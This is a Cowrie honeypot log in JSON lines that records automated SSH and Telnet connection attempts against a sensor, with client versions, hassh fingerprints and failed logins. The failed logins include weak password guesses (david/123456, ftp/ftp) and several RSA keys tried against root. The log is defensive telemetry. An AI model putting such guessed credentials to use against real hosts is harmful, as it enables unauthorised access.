{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb775a1ea6ed","protocol":"ssh","message":"New connection: 83.168.110.85:38964 (159.203.135.109:22) [session: fb775a1ea6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:35.124947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:35.130347Z","src_ip":"83.168.110.85","session":"fb775a1ea6ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:35.252683Z","src_ip":"83.168.110.85","session":"fb775a1ea6ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:35.708514Z","src_ip":"83.168.110.85","session":"fb775a1ea6ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:36.832317Z","src_ip":"83.168.110.85","session":"fb775a1ea6ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.78.61","src_port":40012,"dst_ip":"10.17.0.5","dst_port":22,"session":"af15b9bfbed4","protocol":"ssh","message":"New connection: 184.154.78.61:40012 (10.17.0.5:22) [session: af15b9bfbed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.688988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.694083Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.723316Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:63:4b:f2:5e:e2:bf:ed:d8:98:8c:59:e7:68:12:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYpXCBPA4V7TVN1HY/gMfIZ+hbBolljmNRjyURWJ7U2/q/Y65TZAtzPZje4vG6mPSZYcjYrqHDnD4w+x57U9gQQNVaE0tyTtVxp6ob51TnQnmBJeHwa5JU/b3C9HtYOs8g1dOLRDTEXUfy+Nv4K3fkIbw/2Cm/o8HVM2HmdZLnwxPpwUcRNPLX077jH/5Xc1I9duRaUGTJ9FFlQuYALdZcyOUwqtIYZnZu0clFESykkUG0cbVs9W8+6o5e+qqVX6u0O5cZaKlpQTtOyBR2ckOknuP3WF2tLIXf5s4nyLHmgoLIPOGvdpTaukkTP8t5wNDVLxqEw5cds6JAsiM6WT0B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:63:4b:f2:5e:e2:bf:ed:d8:98:8c:59:e7:68:12:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.839877Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:63:4b:f2:5e:e2:bf:ed:d8:98:8c:59:e7:68:12:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYpXCBPA4V7TVN1HY/gMfIZ+hbBolljmNRjyURWJ7U2/q/Y65TZAtzPZje4vG6mPSZYcjYrqHDnD4w+x57U9gQQNVaE0tyTtVxp6ob51TnQnmBJeHwa5JU/b3C9HtYOs8g1dOLRDTEXUfy+Nv4K3fkIbw/2Cm/o8HVM2HmdZLnwxPpwUcRNPLX077jH/5Xc1I9duRaUGTJ9FFlQuYALdZcyOUwqtIYZnZu0clFESykkUG0cbVs9W8+6o5e+qqVX6u0O5cZaKlpQTtOyBR2ckOknuP3WF2tLIXf5s4nyLHmgoLIPOGvdpTaukkTP8t5wNDVLxqEw5cds6JAsiM6WT0B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.844623Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:1f:fa:35:a3:40:4e:00:df:51:01:84:4d:06:6d:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvKRMlGlh0X9Rop/CAKYRnpGQiI2wh9Sou3GLKI4lZNsPhIoYP/gku2ASRfmWaqEEjogZr+xwsfvENvLeEBwWF5ldW8Y9dIG4QpVYyPBEUt3oIszhQgdmXsU2hkV7JpxV4s2E9dWDEXPOd9/0UEp3IudG6dpK+jo5tKJB+NnkVnGENTgmILPGKMVYbLCOGGDL3SvI7vtgUaKfnS9eDcRwYmv85sF6MS6aHBmOl0WA4rq9ZvWiPx9POlTXif3emM/tD3JD1x4Mnt9mhorPT4LhUIlqB28JcpZtZxJQSZNSyal4Z27iPyQsUiWT+uXkO/TiceBLqIjFZjv24feeFRP3JaVVd5M4jGmAcMJS7H7M0L9Cl9uwt8OMVLQQ7EXJipLPeRoZHR07LlusKf+itVfOUL/Cck6zr64AqVz48nvX2K2EB7Tg5RXyndWiY4FNBWVjkoEYSrXYr9Xsh73d06JDEiNNWBXmf+Hq1VVQ0Ucb3dMytBA7i2aODsNrar0jvZUpvx04nKCNWboxLldqUBt8/x+8d9tAL43ycKdh+lgHihJJgq/DfTI4RsmullMwQEjN/xeLjeTjvsm1Q5K3RTVtphFaP6NCh0Q1XP5M9efz0XPQNNBmCdzp5S83NW0w4JvxFedVBDggnlwkiTkBMbcCvchw//zbhGFeuQzpq3sqrqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:1f:fa:35:a3:40:4e:00:df:51:01:84:4d:06:6d:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.873640Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:1f:fa:35:a3:40:4e:00:df:51:01:84:4d:06:6d:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDvKRMlGlh0X9Rop/CAKYRnpGQiI2wh9Sou3GLKI4lZNsPhIoYP/gku2ASRfmWaqEEjogZr+xwsfvENvLeEBwWF5ldW8Y9dIG4QpVYyPBEUt3oIszhQgdmXsU2hkV7JpxV4s2E9dWDEXPOd9/0UEp3IudG6dpK+jo5tKJB+NnkVnGENTgmILPGKMVYbLCOGGDL3SvI7vtgUaKfnS9eDcRwYmv85sF6MS6aHBmOl0WA4rq9ZvWiPx9POlTXif3emM/tD3JD1x4Mnt9mhorPT4LhUIlqB28JcpZtZxJQSZNSyal4Z27iPyQsUiWT+uXkO/TiceBLqIjFZjv24feeFRP3JaVVd5M4jGmAcMJS7H7M0L9Cl9uwt8OMVLQQ7EXJipLPeRoZHR07LlusKf+itVfOUL/Cck6zr64AqVz48nvX2K2EB7Tg5RXyndWiY4FNBWVjkoEYSrXYr9Xsh73d06JDEiNNWBXmf+Hq1VVQ0Ucb3dMytBA7i2aODsNrar0jvZUpvx04nKCNWboxLldqUBt8/x+8d9tAL43ycKdh+lgHihJJgq/DfTI4RsmullMwQEjN/xeLjeTjvsm1Q5K3RTVtphFaP6NCh0Q1XP5M9efz0XPQNNBmCdzp5S83NW0w4JvxFedVBDggnlwkiTkBMbcCvchw//zbhGFeuQzpq3sqrqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.877531Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:5b:32:44:b8:e5:54:47:49:15:a8:bb:c3:f4:b3:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDuUCA0yxEDhgDjW0zc5GcSzOX2uUUXuCXsURaSPUp05z9UZJzoUs4/HnLZHbf5tMVhshl1hinYeVhj9z6VEKWrEwIn4CCkvkcPwnF5m4YXLfXOc/s8HuBm4+GR89EjIBLlDtn93o4mJ7aSFQ1WOkJAZ0RUSJ3nkXNNEkIr58f8XTMkH4eCDRhnpfQw07l9FNthFRJCNT/OfAqgQKBoyz4YyL3t/QDqWdl2BaCkTKK55f73AW2OK1xOBYUrtNatYpt8B/OGfaCZo8LqZ6iHAAHYTLYj9+9+1Sh8QEHBZ/8QCwcX3QY7JxHhWbL6yzY7sxxdukV23aO1S60MOBmxnAs6rjUfZas/Y9XBinphyRzas9ROBJ41a/6VGKPEObBbU5z1WvbrfAeyB+Og9ATu0//0KqG6+i+Xgs0Q9gqA3WCmhVowZZ14ruqMKqg+35qqATO2DonB0W0rR5UmD7cBUS+laEo9sERH1XNK3887ZT64AYppfyqP6Z4O/cuYYWnfGe+RXHql1SlU8KFCMWxCPZIHh0e/rM6VJVdrAYMjTKwK+6IO6jR4eg16yLdNL+wjQChGj8Vc6qwQLaKEvuU8P3V5gPjlAaeNXzNPLI1YkujWchR2h9+rL8y7wILBvpevDZCUXeTD3D08SwJipAI4maqL7lNtvjdUeTm6yYtF39pxEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:5b:32:44:b8:e5:54:47:49:15:a8:bb:c3:f4:b3:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.906465Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:5b:32:44:b8:e5:54:47:49:15:a8:bb:c3:f4:b3:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDuUCA0yxEDhgDjW0zc5GcSzOX2uUUXuCXsURaSPUp05z9UZJzoUs4/HnLZHbf5tMVhshl1hinYeVhj9z6VEKWrEwIn4CCkvkcPwnF5m4YXLfXOc/s8HuBm4+GR89EjIBLlDtn93o4mJ7aSFQ1WOkJAZ0RUSJ3nkXNNEkIr58f8XTMkH4eCDRhnpfQw07l9FNthFRJCNT/OfAqgQKBoyz4YyL3t/QDqWdl2BaCkTKK55f73AW2OK1xOBYUrtNatYpt8B/OGfaCZo8LqZ6iHAAHYTLYj9+9+1Sh8QEHBZ/8QCwcX3QY7JxHhWbL6yzY7sxxdukV23aO1S60MOBmxnAs6rjUfZas/Y9XBinphyRzas9ROBJ41a/6VGKPEObBbU5z1WvbrfAeyB+Og9ATu0//0KqG6+i+Xgs0Q9gqA3WCmhVowZZ14ruqMKqg+35qqATO2DonB0W0rR5UmD7cBUS+laEo9sERH1XNK3887ZT64AYppfyqP6Z4O/cuYYWnfGe+RXHql1SlU8KFCMWxCPZIHh0e/rM6VJVdrAYMjTKwK+6IO6jR4eg16yLdNL+wjQChGj8Vc6qwQLaKEvuU8P3V5gPjlAaeNXzNPLI1YkujWchR2h9+rL8y7wILBvpevDZCUXeTD3D08SwJipAI4maqL7lNtvjdUeTm6yYtF39pxEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.910873Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:57:27:dc:fc:fc:3c:5c:92:45:b7:6c:e2:d1:35:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtWlDgyl1Qyet8NrM2/MrYHUmOpgmCBa7ZkSfHK95vmFPxgs9vrgapONyzTwO5ALEUB7dMwo/qAnG1hD/P2GhyjmUIe8oUBgR7VyJnSIAtky23GB/NYNRj32XUdMNWw4BfsgjCk9pfXGtGI87s1sRVNi3HuN+pi8XqXZ4rwwcWK0RMCk4mAMTR99GIKdFhjMGGgLGtCE1NfsKG+06biIUseBaGo0ARW1V6jrZLvoUHtnfNLPgGi0ABnU66+AJwwUsTxcjsHNTN8MklpMIqbXEIINUnCm/RFuxJeO0Pzo6Fo7qdUF0lDdQkgvn69mquCtCMc+3igwqnTfsDbGtazYusPvR3a8A49JRC3XsEwxZCEfNJxyN4z02/1L3lf4MbGXhywiZIbHqLKPmeRNJIgezI5V0EgbCSfKdtFJp00xY4umqMnk/WtYmL9SBZUjbSwL5y48kiw451rXPaN4Ydtl9LIqxjqvF8Mdy7LgSgWh0GlZN989umLBEyAQi9WF9NjTxi79HTAj+yYpknebqk3Q4jmzgmuzMXV/NmqNXMNuU/ynU6TnO5QWvGVTVWTLm4M9y/HGLcb0aLi4UU9Tov+G7DwcFKz9FiWzKSrLT1CxnfkEUARmMm4uXCrRJpdoMsV9fdDsS4GdHGpBe4qVy314o/jj1E9s/wMZdO11A5voKkgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:57:27:dc:fc:fc:3c:5c:92:45:b7:6c:e2:d1:35:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.940563Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:57:27:dc:fc:fc:3c:5c:92:45:b7:6c:e2:d1:35:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCtWlDgyl1Qyet8NrM2/MrYHUmOpgmCBa7ZkSfHK95vmFPxgs9vrgapONyzTwO5ALEUB7dMwo/qAnG1hD/P2GhyjmUIe8oUBgR7VyJnSIAtky23GB/NYNRj32XUdMNWw4BfsgjCk9pfXGtGI87s1sRVNi3HuN+pi8XqXZ4rwwcWK0RMCk4mAMTR99GIKdFhjMGGgLGtCE1NfsKG+06biIUseBaGo0ARW1V6jrZLvoUHtnfNLPgGi0ABnU66+AJwwUsTxcjsHNTN8MklpMIqbXEIINUnCm/RFuxJeO0Pzo6Fo7qdUF0lDdQkgvn69mquCtCMc+3igwqnTfsDbGtazYusPvR3a8A49JRC3XsEwxZCEfNJxyN4z02/1L3lf4MbGXhywiZIbHqLKPmeRNJIgezI5V0EgbCSfKdtFJp00xY4umqMnk/WtYmL9SBZUjbSwL5y48kiw451rXPaN4Ydtl9LIqxjqvF8Mdy7LgSgWh0GlZN989umLBEyAQi9WF9NjTxi79HTAj+yYpknebqk3Q4jmzgmuzMXV/NmqNXMNuU/ynU6TnO5QWvGVTVWTLm4M9y/HGLcb0aLi4UU9Tov+G7DwcFKz9FiWzKSrLT1CxnfkEUARmMm4uXCrRJpdoMsV9fdDsS4GdHGpBe4qVy314o/jj1E9s/wMZdO11A5voKkgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.946451Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:ba:f9:e4:15:01:a5:ed:55:45:81:74:76:5a:b6:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkTcohCsmDvsvl3YsE33Q0yL7jqBW7lmCMpN0lGF6YbPReeC7Rzsp4y/fAa1gTjGOchaewfR4be+XwHaO0CcxOqM9jPnbF6as+LfOix0EnoRpWhvxj6gfeG8R9JG/Yy06QDFURJ4X/Oj1wfWx4Vx9sp3BHCqNxANaojU4cZ/7GGgLn2exaOTMfp5uFyhvWSLDvDAVTkHYigv6v6QnYsMpdaLzuzlRdBtdyjY07TrEvbojJ/tWlzqaP7HnuFqfKTRCHJfHaBQyy0y1b+RdgJe0X6Vh0aBFk0qiNfdMbBYwWnkm5Y7JYnDRdNs3Vc3j4R4HQ3mokF+zcKhACbErB7nyfqGW9PyHceF7zff2eMnmkqx8vqJM9FyHh1rvYjqzRg6i8F5sqfiJwAHfRlCGgo0SXuu9hIUoLADGQUx9l+LRVApu+eoA/lM3jzPHmjCcSAl+8UWYXXicW9/U/b7hqp1GiWpe5357Kp3AU1upIWHy9Gs7r4a3lCd6fOD/JpEhUmgqeas2fgm9BNvGUQs7pzzjKgP4Li/Vy/AjBhaNzNLV3seN2AuhMP31iAax1PGsN8Ri/DLwC+0iHej96rxBokUku0XcRy6Ort6H6ayQL64xfWb7czT6yqkfBeOcJLnFKCWQcfF0cKwRbKnP5YgCwCusB5HcDs6TktAC5Q6WuVfbwow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:ba:f9:e4:15:01:a5:ed:55:45:81:74:76:5a:b6:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.976520Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:ba:f9:e4:15:01:a5:ed:55:45:81:74:76:5a:b6:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkTcohCsmDvsvl3YsE33Q0yL7jqBW7lmCMpN0lGF6YbPReeC7Rzsp4y/fAa1gTjGOchaewfR4be+XwHaO0CcxOqM9jPnbF6as+LfOix0EnoRpWhvxj6gfeG8R9JG/Yy06QDFURJ4X/Oj1wfWx4Vx9sp3BHCqNxANaojU4cZ/7GGgLn2exaOTMfp5uFyhvWSLDvDAVTkHYigv6v6QnYsMpdaLzuzlRdBtdyjY07TrEvbojJ/tWlzqaP7HnuFqfKTRCHJfHaBQyy0y1b+RdgJe0X6Vh0aBFk0qiNfdMbBYwWnkm5Y7JYnDRdNs3Vc3j4R4HQ3mokF+zcKhACbErB7nyfqGW9PyHceF7zff2eMnmkqx8vqJM9FyHh1rvYjqzRg6i8F5sqfiJwAHfRlCGgo0SXuu9hIUoLADGQUx9l+LRVApu+eoA/lM3jzPHmjCcSAl+8UWYXXicW9/U/b7hqp1GiWpe5357Kp3AU1upIWHy9Gs7r4a3lCd6fOD/JpEhUmgqeas2fgm9BNvGUQs7pzzjKgP4Li/Vy/AjBhaNzNLV3seN2AuhMP31iAax1PGsN8Ri/DLwC+0iHej96rxBokUku0XcRy6Ort6H6ayQL64xfWb7czT6yqkfBeOcJLnFKCWQcfF0cKwRbKnP5YgCwCusB5HcDs6TktAC5Q6WuVfbwow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:37.980386Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:38.012363Z","src_ip":"184.154.78.61","session":"af15b9bfbed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49140,"dst_ip":"159.203.135.109","dst_port":22,"session":"757c913d7518","protocol":"ssh","message":"New connection: 83.168.110.85:49140 (159.203.135.109:22) [session: 757c913d7518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:45.430901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:45.435976Z","src_ip":"83.168.110.85","session":"757c913d7518","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:45.556733Z","src_ip":"83.168.110.85","session":"757c913d7518","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:45.998872Z","src_ip":"83.168.110.85","session":"757c913d7518","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:47.126338Z","src_ip":"83.168.110.85","session":"757c913d7518","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.111","src_port":63196,"dst_ip":"159.203.135.109","dst_port":23,"session":"6487ad367a2e","protocol":"telnet","message":"New connection: 205.210.31.111:63196 (159.203.135.109:23) [session: 6487ad367a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:51.474566Z"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48240,"dst_ip":"159.203.135.109","dst_port":22,"session":"f29349cadeba","protocol":"ssh","message":"New connection: 83.168.110.85:48240 (159.203.135.109:22) [session: f29349cadeba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:55.660870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:39:55.665449Z","src_ip":"83.168.110.85","session":"f29349cadeba","protocol":"ssh"}
